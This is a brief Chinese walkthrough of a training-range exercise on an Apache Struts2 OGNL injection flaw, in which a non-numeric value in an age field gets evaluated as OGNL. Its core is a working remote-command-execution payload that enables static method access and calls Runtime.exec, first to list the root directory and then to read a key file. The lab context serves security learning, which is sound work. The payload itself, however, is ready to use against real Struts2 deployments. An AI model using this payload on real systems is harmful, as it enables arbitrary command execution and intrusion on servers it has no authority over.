靶场地址:
https://www.mozhe.cn/bug/detail/dHlnc25uQ2RXYVhvRnIzNzhYaEFwQT09bW96aGUmozhe
漏洞原理:当提交表单中变量的类型出现错误时,进行了错误的字符串拼接,后端会执行OGNL表达式
漏洞测试:
在年龄中输入非数字类型点击登陆,年龄框的value变成11,证明漏洞存在
任意命令执行exp:
'+(#_memberAccess["allowStaticMethodAccess"]=true,#foo=newjava.lang.Boolean("false"),#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls / ').getInputStream()))+'
输入至年龄框后登陆,返回
查看网页源代码,发现key.txt
同理执行命令cat /key.txt
在年龄框中获得key